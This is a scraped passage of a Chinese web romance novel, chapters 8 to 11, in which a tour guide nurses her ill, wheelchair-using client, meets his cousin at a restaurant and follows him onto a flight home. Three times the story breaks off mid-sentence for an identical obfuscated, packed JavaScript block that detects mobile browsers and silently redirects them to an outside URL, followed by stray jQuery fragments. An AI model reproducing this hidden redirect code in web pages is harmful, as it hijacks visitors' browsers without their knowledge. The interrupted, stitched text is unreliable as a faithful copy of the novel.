云昭还没想明白,低头看向裙子,忽然看见自己手里还攥着个黑色钱夹。
皮质的、低调的、慕熙的钱夹。
云昭:……
没功夫管姨妈了,她怎么把这东西带出来了,这下性质都变了!
衣袋里的手机突然嗡嗡作响。云昭吓了一跳。
刚才手机也一直在响,不过她沉浸在情绪里注意不到,这会儿打开,看见慕熙已经快把她手机打爆了,薄薄的手机背板烫得手指发疼。
——是怕她卷款跑路吗?
——他应该,还没报警吧?
8. chapter 8
云昭还是往邬州宾馆走了。
在她打开钱夹看到一连串银行卡的时候。
她估计她再不回去,很快就能吃上国家饭了。
黝黑的夜晚,云昭沿着路灯走,手指轻轻摩挲着那只钱夹。
纯黑色的皮夹,外观简单朴素,里面倒是很丰富。皮夹夹层里有好几个币种,人民币只有百元大钞,翻过来,右侧小隔层里卡了很多张卡片,红的蓝的黑的金的都有,最左侧还一个小窗,里面卡着一张一寸照片。
——是一个小孩的照片。
看上去是个几个月大的小婴儿,生得白白净净胖嘟嘟,乖乖坐在相机前,一双眼睛像葡萄似的又圆又亮,红红的嘴巴翘着,好像在傻傻乐呵。
云昭微挑眉头。
这么年轻就有孩子了?
云昭想起慕熙那张脸,忍了又忍还是没忍住,手指拈住照片一角,给照片轻轻拽出来。
照片已然泛黄,翻过来,背面赫然写着:
慕熙,百日留念。
字迹像狗爬一样,丑得惊人。
云昭噗嗤一笑。
真有意思,居然有人随身携带自己的百岁照。
走出几步,云昭笑不出来了。
在她面前大约一百米,橙黄路灯下,有一位坐轮椅的男人。
幽暗的灯光把那本就瘦削的身体越发显得纤细,他掩唇剧烈咳嗽,黑发也随之抖动。
而在他身边,赫然立着几位穿制服的警察,他们原本在照顾男人,直到云昭出现,都向她看过来。
……云昭真的要跪下了。
那钱夹里的金额是不是够她云家九族里里外外都喝一壶啊!
她简直比窦娥还冤。
好端端一场勇敢少女不畏强权逃离职场性骚扰,变成了卷甲方大额财产跑路疑似经济犯罪三年起步。
云昭心里发毛,弱弱走上前,待她凑近了,一位警察立刻转头问慕熙:“就是她吗?”
慕熙早已咳得撕心裂肺,瘦削的肩膀簌簌抖动,手指轻抬点了一下。
警察了然。
云昭攥着钱夹:“警,警官你听我解释……”
警察直接打断她,一脸正气:“解释什么解释,你这小姑娘真是太任性了!”
云昭着急:“其实我——”
“现在小情侣谈个恋爱有啥不吵架的,出来玩就好好玩,绊个嘴就要跑,看给你男朋友急成什么样了!”
“啊?”云昭眼珠子都要吓掉:“不不不,不是的——”
“行了,什么不是!”警察也是脾气大,一股脑的教训她:“挺漂亮一小姑娘,别乱耍脾气了,赶紧回去,你男朋友身体又不方便,你也不知道体谅着点!”
这误会大了。
云昭现在解释也不是,不解释也不是。
她这头还在纠结,那边警察已经给她认定成了身残志坚小年轻的作精小女友,事情解决,热心指着后面的警车对慕熙说:“小伙子,上车吧,我送你们回去。”
慕熙咳得抬不起头,好一会儿才喘过气来,两手垂搭在轮椅扶手上,缓缓摇头:“多谢……不必了。”
“行,那你俩路上小心点啊。”
警察走之前又给云昭教育了一通,但本着严谨的态度还是问她有没有想说的,不过她已经说不出半个字了。
他们或许认为她孺子可教,便又劝慕熙要多让着自己女朋友,说人家小姑娘也不容易。
云昭欲哭无泪。
上车前,有位稍年长的警察回头看了云昭好几眼,不确定的问:“你是不是云家云老三的女儿,昭昭?”
云昭烧红了脸,不敢承认。
警察们也没再多问,警车灯光闪动,扬长而去。
路边,气氛慢慢冷下来。
夜晚河边风大,云昭冷得搓手臂,转头看见慕熙也穿得单薄,腿上连条毯子都没搭。
浓浓夜幕中,他的身影单薄落寞,脊背贴靠着轮椅,手指无力搭扶手上,沉默着,不知道在想什么。
僵持良久。
最后,慕熙开口了:“先回去。”
他声音疲倦又沙哑,冷风吹来,几乎要抹把尾音抹去。
云昭点了点头。
邬州宾馆里很安静,明亮的大厅中只有几位前台,见到他们,都问候了一声慕先生好。有位前台小姐脸上闪过一丝明显惊讶,但也没说出来。
云昭默默把慕熙推进电梯。
密闭的电梯间里,四周镜面贵气亮堂,头顶幽幽灯光照下来,慕熙的侧脸宛如刀削斧刻。
云昭悄悄看向他,他毫无反应,安静望着正前方,目光淡如水波,平和到一无所有。右手攥着一张白色方帕搁在双腿上,左侧唇边淌下一丝没有擦干的血迹。
云昭不由得呼吸一滞。
他的病不是装的。
并且非常严重。
电梯抵达楼层,云昭推着慕熙来到房门口,他伸手去开门,云昭看见他左手细白的指节上全是伤,皮肉擦开,血液已经干涸。
慕熙却好像不知道痛一样,眼睛都不眨一下。
房间里,还是离开前的样子。
慕熙平静来到沙发旁,撑着身体挪到沙发上,慢条斯理的开那盒止疼药。
他吃药不看说明书,一次掰了四五片出来,利落带着血咽下去。
云昭怔怔看着,心脏里像落下一颗石子,揉在心里硌得生疼。
她忽然就不害怕了。
眼前的慕熙一点也不可怕,他那张漂亮的脸灰败漠然,仰头时,衣领下的那截纱布也是通红的,看上去像一件碎掉的瓷器。
“慕先生……”云昭开口。
慕熙垂眸摆弄着手里的药片,他试着把剩下的药放回盒子里,但是手腕没半点力气,试了几次也没成功。
他随手丢在身旁,抬眼看向云昭。
“云小姐,我向你道歉。”他靠向沙发,淡淡开口:“我给你的药片你直接吃下了,希望你不要被误导,下次不能这样。”
他思索半晌,补充道:“男人信不过。”
云昭从他眼睛里看不到一点波动。
他平静的实在超出她预料了。
慕熙头枕着沙发,猩红的布料称得他皮肤雪白不似活人,脖颈上山丘似的喉结轻轻滚动,颇有几分贵公子样。
“房间的事,如果你实在不愿,就回家住吧。”他顿了顿,又道:“云小姐家应该住得很近。”
云昭小心点头,刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126759|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要开口,他又说:“不过今天不行。”
“为什么?”
“今天太晚。”慕熙抬腕看表,“凌晨了。”
云昭默默垂头,“其实我可以……”
她不好意思说下去。
慕熙不在意了:“37楼3788,去吧。”
云昭的话生生被咽了下去,点头跟他说了声晚安。
37楼是特殊楼层,走廊两侧装点着各式各样古董艺术品,富丽堂皇。而3788就是今天换下的总统套房,房间宽阔通透,每一寸石料都写着昂贵。
云昭呆呆坐下。
满脑子都是慕熙唇边的血迹。
他连下床都需要她搀扶,又是怎么做到自己出来报警找人的?
她不知道。
她总觉得,他好像在忍耐,忍耐着一种她未知的情绪。
-
半个小时后,云昭实在忍不住,还是下楼了。
她穿着酒店拖鞋,一条干净白裙子,头发披散在肩头,手指绞动着,站在慕熙房前踌躇。
她敲了门,没人开,也没回应。
又等了一会儿,房间依然静悄悄的。
她直觉他没有睡觉,他不是那种心大的人,并且他不出声应该也不是在生气。
毕竟要是生气的话,不会亲自出来找她,更不会还让她接着干,甚至……他态度好的有点过分了。
云昭挠挠头,怀疑他是晕倒了:“慕先生,我进来了。”
白天刚入住时前台就多给了一张房卡,慕熙交给了云昭,也给了她自由进入的权力。
云昭走进来,看见套房里光线昏暗,客厅一片漆黑,只有角落一盏小夜灯亮着。那间儿童房的门紧闭,主卧的门却开着。
她悄声路过,听见卫生间里传来水流声。
宽敞的三分离卫生间,声音是从浴室传来的,隔着一道门,水流声依然哗哗作响。
听上去是淋浴喷头开着,不过也不像洗澡时的声音,这声音规律、稳定,似乎是忘了关水,也似乎是里面的人一动不动。
“慕先生!”云昭直接推门进去——
独立封闭的空间里,地上的男人屈膝斜倚墙壁,身形瘦削单薄,任由头顶的冷水浇下来淋透一身衣物。
云昭的心脏瞬间凝固。
她径直扑上去,紧紧抱住他的腰,仓皇去摸他的两只手。
修长利落的两只手,骨节分明、皮肤冰凉、细腻,手腕平整干净,没有伤口。
慕熙被她撞醒了,头靠着墙,咽了一口腥气,皱眉忍着痛:“我,只是,想清醒……”
云昭全身的神经都在颤栗,回过神来自己也被冷水淋透了,身体很冷,只有眼泪滚烫,哆嗦着手臂去关水。
黑夜里,她也看不清慕熙的脸,只能把他抱进怀里,托着他脑袋靠向自己肩头,抹了眼泪,轻轻拍他的后背安抚:“没事的,没事的……还起得来么?我背你过去。”
慕熙没说话。
他一身都冷到没有知觉了,就连颈动脉也变得微弱。
但靠在云昭身上时,她的体温透过衣物和皮肤传递给他,冷到冻结的细胞渐渐起死回生,胸腔里的心脏也开始活跃——就像,过去的很多次一样。
9. chapter 9
第二天早晨。
天朗气清,万里无云。阳光早早穿透纱幔落在纯白床铺上。
慕熙醒来时,云昭就趴在床边。她忙活了一晚上,现在睡得很沉。
他无力起身,伸出食指轻轻拨动她耳边碎发。
睡梦中的云昭痒得皱皱鼻子,转头枕向了另一侧。
慕熙垂眼静静看她。
昨晚他身心俱疲不想去医院也不想见外人,云昭只好扶着他查手机,稀里糊涂也不知道她怎么查的,一本正经给他冲了温水,把他擦干过后裹得严严实实,还去搞了热水袋来。
结果他半夜还是发烧了,云昭给他喂了药又敷了毛巾,把他脖颈和手上的伤口重新消毒,又不放心似的到处寻找他身上的伤口,手腕这种重点地方被她翻来覆去看了能有八十遍。
但是天地可鉴,
他这种人是不会自裁的。
中午十一点半,云昭终于睡醒了。
她睁眼看到慕熙的脸近在咫尺,先是面露惊慌,然后赶紧把手边的备忘录翻出来看。看完后,她神色凝重,握住慕熙的手无比诚恳道:
“公主殿下,以后你要星星我给你摘星星,要月亮我给你捞月亮,要核弹我都给你造去。我只求你别死。”
慕熙:“……”
云昭的心情还不赖,伸了个懒腰,去卫生间简单洗漱,束起高马尾。
她身上还是昨晚那条白裙子,这是她的睡裙,在慕熙面前晃来晃去不太合适,但她昨晚实在不敢离开。
洗漱完回来时,慕熙已经坐起来了,虚靠着床沿,眉心微皱打电话。
工作时的慕熙是很严肃的,虽然他平时也不见得多和善,可一旦处理起正事来他脸上连人的样子都不见了。
云昭估计他职位不低,语气虽然平淡,但说出的每个字都带着上位者浑然天成的威压,无论他说什么,都让人无法反抗。
就连旁边的云昭都听得心里发毛。
她刚走过去,慕熙那双清冷的眸子扫过来。
她立马懂了,乖乖去角落里等。
百无聊赖,她坐在矮凳上偷看慕熙。
从这个方向能看到他大半张侧脸。
他那张俊脸似乎比前两天还清减一些,下颌收得极好,狭窄而锋利,鼻梁上一点精巧的驼峰都清晰可见。
云昭不禁想到了他钱夹里那张照片。
唔……这家伙明明小时候胖得跟米其林轮胎人一样呢。
云昭:“噗嗤。”
慕熙闻声回头,神色冷淡,等下属汇报完工作,随口交待了几句便挂断电话。
云昭朝他走过去,他问:“笑什么。”
她挠挠鼻子,“打喷嚏。”
慕熙没在意,靠向床沿,声音还有些哑:“今天什么安排?”
说到行程,云昭立刻收起傻笑,规规矩矩当导游:“现在已经快到饭点了,您看您今天身体如何?身体如果还是不舒服,我们就在酒店用餐,如果好些了,我们就按计划去邬州特色餐厅。”
慕熙应了一声,“出去。”
云昭搀扶他起身,他瞄向角落里的风衣:“把衣服送下去熨了,我去洗澡。”
“啊?”云昭一愣,想起他昨夜发了烧,她忍不住担心:“您自己洗澡吗?我帮你吧。”
慕熙瞥她一眼:“帮我洗澡?你没有男女观念?”
云昭当然有男女观念,但是比起男女观念她更害怕他在里面摔一跤赔她个倾家荡产,天知道他昨晚那样子给她吓出多大的心理阴影,今早想起还后背发凉。
这不识人间疾苦的公子哥。
云昭一本正经:“不用担心,其实我昨晚就给你看完了,你身上衣服裤子湿透了,是我给你换的。连小裤衩都是。”
慕熙瞬间僵住,脸都绿了:“云昭!你是女孩子!”
云昭义正词严:“女孩子怎么了,女孩子不会给别人看,但是可以看男的。”
慕熙:“你说什么?”
云昭:“我说女生可以看男生啊。”
慕熙不可思议:“什么歪理?”
云昭莫名其妙:“男的裸/贷都贷不了两毛钱,谁想看啊?”
慕熙彻底怒了:“我不贷款,我也不给人看!”
“那你要摔了可别求我看啊!”
慕熙被她气得心脏疼,眼看着嘴唇都开始哆嗦。
云昭知道这是个金贵小公主,不敢真给人气出事,小耍一会儿威风迅速收手,毕恭毕敬把他推到浴室,“对不起我错了,公主您请。”
浴室的地面已经被云昭打扫过了,昨天慕熙脖颈上的伤口被水冲开,流出的丝丝血迹看了就叫人发怵。
慕熙被气得还没缓过来,白着一张脸脱外套,云昭伸手接过,又看见他衬衫领口下的纱布。
她昨晚帮他换过,但是没开灯,她没看清。
云昭忍不住好奇:“慕先生,你脖子上的伤是怎么回事?”
慕熙背对她,“跟你没关系,出去。”
“……哦。”
云昭撇嘴,把他的衣物交给酒店服务生,转头去了3788换衣服。
慕熙规定她不能离开超过十分钟,云昭用最快速度换了一套利落打扮,简单扎起头发,五分钟画完底妆和眼妆,顺手拿了根口红一边走一边涂。
今天的行程是云昭出发前制定的,因为她是邬州本地人,所以慕熙没在餐食方面提任何意见,全部都由她安排。
云昭出发前把自己在邬州生活那么多年的日记都给翻了出来,仔细搜罗了一通,发现有家饭店被自己反复提到:
刘万饭馆。
这家饭馆她脑子里已经没什么印象了,日记里说味道非常正宗,生意火爆,在邬州开了很多年,偶尔过节日云华林才会带她去。
想来应该还不错。
云昭耐心等慕熙洗漱,小公主身体不便又讲究,连衬衫上的两颗袖扣都系得妥帖正中,仔仔细细收拾整理完,已经十二点半了。
豪华轿车早已在门口等待,待他们上车后一路沿着浣柳河畔开,来到了沂水镇八西小巷。小巷35号与36号合并成了同一栋灰白色高墙大院,门口立着两扇老旧的红木门,一块儿木匾写了刘万饭馆几个字。
饭馆门口的无障碍通道看起来是老板自己砌的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126760|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坡度很高,云昭搀扶慕熙下车,使出吃奶的劲儿才给他推上去,刚进门,紧接着又让门槛结结实实颠了一下。
慕熙出门起就犯了低血糖,脑袋还是晕的,这么一颠竟直接给他颠醒了。
于是他睁开眼,见到这样一副景象:
宽阔简陋的饭馆大厅,地面没有瓷砖,只用水泥糊平,墙上贴着大字菜单,中间摆了十来张有年头大圆桌,一桌能坐十个人,几波互不相识的客人凑在一起共用一张桌子,脸皮薄点的都恨不得钻地底去。
心脏在一瞬间缩紧——
他竟然又来了这里。
五年前,这是云昭最喜欢带他来的饭店,装修破旧但老板热情味道也不错,他刚来邬州的第一顿饭就是在这里,走之前的最后一顿也是在这里。
那时他胳膊和腿刚受伤,骨头都没长好,云昭因为记忆差每次都会忘记这里有截小门槛,每次推他进来都要被磕一下,他皱皱眉头,她就会自责的要命。
她哄他也很有一套,把他无法动弹的手指握在掌心,小心给他揉揉按按,甜甜的叫他阿熙阿熙。
不过他那时是个不折不扣的混球,虽然心里恨不得每天都来这里磕一下让她心疼,但嘴上总是凶巴巴的说:
“我是病人,我不要在这种地方吃饭!”
回过神来,同样的话已经脱口而出。
慕熙怔住。
这边,云昭刚把他推到一张餐桌旁,听到他这么说也是狠狠一愣。
病人……怎么了?
云昭慌忙看了一圈。
这里没有包厢,他们来到了靠近柜台的这一桌,这张桌子对面还坐了一对拼桌的年轻小情侣,看上去是来旅游的大学生,两个人都埋着头专心玩手机。
她的脑子转了几转,忽然大惊,急忙凑到慕熙耳边问:“糟了,你是不是还有什么传染病啊?那咱快走吧,可不能在餐馆吃了。”
慕熙:“……”
他不说话,云昭更急了,“到底有没有啊?”
慕熙咬着牙:“没有。有了第一个传染你。”
云昭:“……”
服务员递过来一只本子和一张菜谱,云昭认真对照着慕熙的忌口点菜。逐一对照下来几乎没有他能吃的菜,云昭正愁着,慕熙却说旅客信息表都是乱填的,他没有忌口。
云昭有火也不敢冲甲方发,乖乖点了四道招牌菜递给服务员。
“慕先生,我去趟卫生间。”
中午时间的饭馆生意正好,大厅里每张桌子都坐满了顾客,云昭起身在狭窄的过道中穿梭,她埋着头朝门口卫生间走,一不留神,和进来的人迎面撞上。
云昭后退半步,还没开口,对面的人先道歉了:“抱歉,撞疼你了吗?”
清清冽冽的嗓音,与之一起扑来的还有对面人身上浅淡的香气。不同于云昭身上的水果味,也不同于慕熙西装上的木质熏香味,眼前的人抹了一款十分优雅的男士香水。
贵气怡人的红茶、白麝香气。
再一抬头,云昭看见了一张清秀的笑脸,浅浅的虎牙显得亲近又温和:
“昭昭,原来是你啊。”
10. chapter 10
云昭的脑海中瞬时调出了这张脸的轮廓,不过依然模糊不清。眼前的人穿了一件浅色风衣,长身玉立,一副翩翩公子模样,陌生中隐约藏着几分熟悉。
她心脏砰砰跳,不敢确认,只能支支吾吾:“你,你是,沈……”
对面的人还没回答,身后已经传来幽幽一声:“沈斯安。”
回头看去,轮椅上的慕熙面色铁青。
沈斯安嘴角一勾,笑呵呵朝慕熙走过去。
朴素的饭馆大厅,两个气质非凡的年轻男人坐在了一起,不止同桌的小情侣,隔壁桌的客人也频频侧目看来。慕熙脸色黑得要滴墨水,沈斯则是一脸阳光明媚,眼看着云昭走远,赶忙朝慕熙献殷勤。
“阿熙,你怎么这样就出来了?没有哥哥我陪着,你真是一点也不把自己身体当回事。”沈斯安脱下风衣搭在慕熙腿上,微微笑:“还好我放心不下,搭最快的一趟飞机来了。”
慕熙的指节森森发白,压着嗓子:“我什么时候允许你过来了?”
沈斯安低头笑,“别这样,你哥哥我最近熬夜精神衰弱,万一再被吓到,我恐怕会说出点什么不该说的话,比如跟昭昭说‘我们家阿熙要不是害怕自己下不了手术台,这次来江南肯定……’”
“你敢威胁我?”
“哎,没有的事。”
沈斯安笑得放松,转头望了一圈,感叹这果然还是云昭的风格。他充分怀疑这丫头在这破烂小餐馆参股了,还是大于34%的那种。
“你来了,陈总那边谁去?”慕熙沉脸问。
沈斯安无所谓:“荆珉在呢。哪怕十个我也比不上一个荆珉,这话可是你说的。”
慕熙头疼,抬指轻揉额角。
这些生意场上的老东西们一个比一个精,看得不是谁态度诚恳,也不是谁能说会道,只要人不对,荆珉纵使有十八寸不烂之舌,他们也不会点头。眼下看来沈斯安压根没准备,至于其他人么……
慕熙皱眉做出决断:“这次我亲自去。”
不等沈斯安反应过来,他已经迅速给秘书打了电话,订今晚的航班连夜赶回东城。
沈斯安难以置信:“那一个破标到底能值多少钱,比你的命还贵吗?”
慕熙没回答,沉默握住茶杯。
年底的标一次签够二十期,对公司至关重要,如果能顺利签下,至少十年内都能稳步发展下去,即使他不在了也不必担心。
他和沈斯安不一样,他这一辈子从未任性妄为过,唯二两次放纵了脾气,第一次失去了行走的权利,第二次失去了这辈子最爱他的人。
所以,他会克制自己一直到棺材里。
云昭回来时,看见菜已经上了一道,沈斯安坐在慕熙身边说话,笑颜温柔,慕熙却看都不看他,垂眼捧着一杯热茶沉默不语。
……好可怕,公主居然没吃掉沈斯安。
云昭在他们身旁拉开椅子规规矩矩坐下。
慕熙搁下茶杯,淡淡开口:“介绍一下。这位是沈斯安,我的表哥及合伙人。这位是云昭云小姐,本次旅程的导游。”
沈斯安微笑:“云小姐你好。”
云昭点头:“沈先生,我们以前认识么?”
沈斯安还笑:“不认识。”
云昭疑惑:“可是你刚才都叫出我的名字了?”
沈斯安继续笑:“我猜的。”
云昭震惊:“人名都能猜?”
沈斯安笑出了声:“哈哈,因为我很聪明啊。”
云昭:“???”
有钱人都是不是有把人当傻子逗的怪癖啊?
到底是慕熙先看不顺眼了,斜睨沈斯安一眼,冷声呵斥:“要笑滚回东城笑。”
沈斯安不肯:“阿熙,在女孩面前要温柔一点,你那么凶是会娶不到媳妇儿的,现在女孩们喜欢温文尔雅的绅士。”
他的视线总若有若无往云昭身上瞟,慕熙彻底烦了:“沈斯安你再多说一句我给你捆上飞机!”
沈斯安刚要开口,突然被一个柔柔弱弱的声音抢先了:
“别,别凶他……”
因为心虚且着急,云昭一贯阳光爽朗的嗓子里居然冒出了连她自己都没听过的娇滴滴声音。
云昭连同对面两个人都愣住了。
空气凝成了冰块儿。
半晌。
慕熙目眦尽裂,咬着牙问:“你说什么?”
和甲方叫板需要很大的勇气,更何况是慕熙这样的甲方,云昭腿都不自主开抖了,咽了口水说:“你,你别凶沈先生……”
她不忘给自己找补:“在,在吃饭呢,菜要凉了。”
慕熙脸色阴沉得可怕。
沈斯安向来是个看热闹不嫌事大的主儿,心里给云昭鼓了一万个掌,乐得恨不得飞起来,但脸上还是挂着温润如玉的微笑。
他不禁想到,恐怕不止菜凉了,他也要凉了。
云昭知道慕熙生气了,他这种少爷公主脾气的人,估计平时也没什么人敢忤逆他,当众下他面子更是纯找死。
但是……
没办法,她一见到沈斯安,就感觉很亲近。
亲近到她用最快速度上完卫生间,出来过后还悄悄在藏在门边望了很久。
沈斯安和慕熙像是地球南北极,云昭第一次见到慕熙有多紧张恐惧,这次见到沈斯安就有多暗自欣喜。
仿佛她脑子里被植入了一种神奇的程序。
沈斯安带给她的感觉和爱情、友情都不一样,更像是和父母一样的亲情。
不过她可以肯定自己是独生子女,她就算脑子再不好使,这件事也是绝对可以肯定的,而且她也不觉得沂水镇这种人均够呛小康的小地方能养出这么气质卓绝的人。
难不成——沈斯安是她爸云华林失散多年的亲兄弟?!
云昭被自己这荒唐想法吓得咳嗽,急忙往嘴里塞了两口饭掩饰尴尬,拿眼睛悄悄瞟向斜对面那顶多二十出头的青年。
沈斯安也正在悄悄冲她眨眼睛。
他五官柔和,眼尾微微上扬,眨眼时像只单纯的白狐狸。
勾得人神魂颠倒。
不知不觉中,菜已经全部上齐,沈斯安来了过后随手加了几道菜,同桌那对大学生小情侣也不知道什么走了,云昭回过神来,看见满桌都是合她口味的菜。
除了招牌菜,还有蟹粉狮子头、八宝葫芦鸭、醉虾醉蟹……
这小饭馆倒也全能。
慕熙坐在云昭和沈斯安中间,从刚才起他就没再说过一个字,垂头斯文用餐。他右手似乎有挺大的问题,一直用左手拿筷子,云昭偶然和他碰到,他也全当没感觉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126761|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云昭更心虚了。
她又又又忘记谁才是甲方了。
“慕先生,这个味道不错,你尝尝。”云昭拿瓷勺给慕熙舀了一颗虾仁,小心翼翼看他。
他脸色不知道从什么时候开始变得很白,薄唇也淡淡的,沉默看着白瓷碗里那颗虾仁。
沈斯安又开始看好戏。
慕熙盯了好一会儿,沉默吃了虾仁。
云昭松了一口气。
没看到火山爆发,沈斯安扼腕叹息。
一顿饭各怀鬼胎胆战心惊的吃完,云昭悄悄在心里划了勾,算是勉强过了九九八十一难第一难。
云昭结完账开完票回来,正巧看见慕熙在吃药。
他手心里躺着几颗白色药片,一次全部放入口中,沈斯安在旁边温柔的给他喂水。慕熙虽然脸色不佳,不过沈斯安依然笑得开心,云昭走过去,听见他意味不明对慕熙说:
“英雄难过美人关,冲冠一怒为红颜。”
云昭不敢多嘴乱问。
下午的行程因为沈斯安的到来出了一些变化,原本计划沿着浣柳河逛沂水镇,了解风土人情,但临时改成了在邬州宾馆待着哪里也不去。
云昭乐得清闲,但沈斯安就惨了,他被慕熙叫去房间里,两个人看上去是在讨论工作,沈斯安如丧考妣。
一整个下午云昭都独自待在偌大的3788总统套房里,慕熙破例允许她离开自己超过十分钟,但是不允许她离开酒店。
她在房间里看了半本书,背了几十个英语单词。
下午七点,慕熙终于召唤她了。
“我要去机场。”慕熙抬腕看表,“立刻派最近的车过来。”
云昭以为自己产幻了:“什么?你要去机场?发生什么事了吗?”
慕熙眉头微蹙,“工作上的事。”
云昭在屋里望了一圈,没看见沈斯安的身影,来不及多想,她先联系了司机,接着把慕熙的随身行李搬下去。
司机把车停在楼下,云昭扶慕熙坐上车,想了想实在不放心,一把抓住他的衣袖:“慕先生,你的身体真的能坐飞机么?”
云昭把一张备忘录举在他面前。
慕熙扫了一眼,“事急从权。”
云昭皱起眉头。
黑色轿车里,他那张锋锐的侧脸依旧苍白,直挺的鼻梁上不知什么时候架起了一只银丝边框镜,冷淡的脸上又添了几分疏离。
他看上去好像什么也不在乎,但是眉间总是含着深深的思绪,看向她的眼神也总是晦暗不明。
云昭总觉得他在忍什么,前几次压下的好奇此刻终于憋不住了,直接开口问他:“慕先生,你是不是有什么话想说?”
慕熙转头看向她,镜片闪过一丝光:“我能说什么?”
云昭迟疑:“你……需要我和你一起回去么?”
慕熙迟滞一秒,提醒她:“沈斯安可不回去。”
云昭感觉莫名其妙:“和他没关系,我是你的一对一导游,出发前还被三令五申必须保障你的安全,如果你路上出什么事,我是要负责任的。”
慕熙垂下眼睫。
果然还是这样。
除了他生硬创造的责任,他们之间再无其他。
“不必了,云小姐。”他靠向椅背,车窗升起:“我会签免责协议。”
11. chapter 11
从十八岁开始,慕熙再也没体会过被选择的感觉。
无论是多么互不相干的场景,场景中的人彼此不认识,但他们总会做出除他以外的选择,即便他为此付出许多努力,即便他抛下一切低声下气。
年少时那些曾经不可一世的才华与傲骨,好像都伴随着那颗坏掉的心脏日渐凋零。
这就是他不得不接受的命。
抵达机场后,慕熙电话通知秘书安排了明天的行程。时间仓促,这趟航班只剩经济舱,他也不打算去贵宾休息室,任由工作人员推着跟在人群中,在嘈杂的大厅沉默值机。
慕熙浑身疲倦。
心脏的疾病导致他即使什么也不做都很累,偏巧今天一下午时间都在处理工作,吃的过敏药也会导致犯困。他在轮椅上虽依旧坐得端正,但是身体早已到达极限。
耳鸣乍起,机场里的嘈杂声越来越小,工作人员询问的声音也听不清晰,他面色发白,费力睁眼看着对方的嘴唇,试图读唇理解意思。
他看见眼前的人嘴唇开开合合,似乎在说:有人,找,你……
慕熙勉强抬起头,人潮汹涌中,一个衬衫牛仔裤的身影朝他跑来。
那身影纤细苗条,跑得极快,身上的挎包胡乱飞舞,马尾辫更是要甩到天上,三两下就跑过来,喘着粗气在他面前停下。
“公主殿下啊!”
云昭累得快断气了。
刚才他前脚刚走,云昭后脚就拦了辆车跟过来,但是机场太大她还是跟丢了,围着大厅找了好几圈,在这人海茫茫里找人找的快窒息。
但无论怎样,看到他的那一刻还是长长松了口气。
刚才在路上都想好他躺地上的样子了,现在看到他还端正坐着,云昭想也没想,一把将他抱进怀里。
“下次别这样了!你要是对我有意见,换导游、换旅行社、赔钱……怎么都好。别拿小命开玩笑。”
云昭恨铁不成钢,但是更多的还是庆幸,像哄孩子一样顺手摸了一把他柔软的头发才肯放开他。
慕熙神色迷茫,耳鸣嗡嗡作响,他听不见云昭在说什么,眼前也模糊,慢吞吞开口问:
“昭昭?”
云昭点头,“我已经拜托沈斯安帮我买机票了。应该还赶得上吧,这是个什么流程啊,要检票吗?咱们现在去哪儿?”
慕熙的双眸雾气沉沉,“你和我一起回去?”
云昭笑:“很不明显吗?”
慕熙怔怔看着她。
云昭不再多说,把行李给了工作人员,自己推起了慕熙的轮椅。
机场大厅很宽敞,虽然只是个小机场但也比火车站气派多了,云昭很兴奋,在候机厅她看见邻近的飞机滑出,拿着手机稀里糊涂一顿拍。
慕熙沉默望着她,一句话也没说。
上飞机后云昭就更开心了,他们的位置在后几排靠窗位置,慕熙没坐过经济舱,一双长腿刚在狭窄的位置艰难摆下,云昭就凑过来和他合照。
“你在拍什么?”慕熙问。
云昭说:“在拍你啊。这可是我第一次坐飞机,当然要纪念一下啦。”
她比五年前还自来熟,笑得像花一样灿烂,举着手机晃了晃:“笑笑嘛,慕先生,你长得那么好看。”
慕熙没看镜头,眼睫垂下来,静静望着她,声音很低:“我好看?”
云昭这边飞速着快门键,“对啊。”
慕熙又问:“多好看。”
云昭盯着屏幕,手机里已经咔咔拍下他二十张侧脸,“很好看很好看!”
“很好看是多好看。”
云昭噎住,悄悄转动眼珠子瞥他,不知道他哪儿来那么多问题:“好看到你要是我男朋友,我给你的脸刻下来记在脑子里,这辈子都忘了谁都不会忘记你。”
慕熙脸色瞬间沉下。
云昭一抖,渐渐缩起了肩膀。
好像玩笑开过头,又说错话了。
她小心收起手机,想着道歉哄哄他,想说“慕先生你这只天鹅肯定不用担心谈到我这样的癞蛤蟆”……
慕熙却没给她机会,直接冷脸训斥:
“云昭,你就是个骗子。”
云昭:……
她只是口出狂言,怎么成骗子了?
不过公主殿下身份高贵喜怒无常是常有的事,云昭也不会跟他计较,贴心的帮他腿上搭了一张毯子。
他好像还在气头上,扫她一眼,没说话,但靠向了她的肩膀。
飞机上慕熙一直靠着云昭闭目养神,云昭中途犯困但不敢睡,安静望着窗外黑漆漆的一片。不知过了多久,飞机开始下降,东城明媚的灯火连成了线,在黝黑的大地盘根错节。
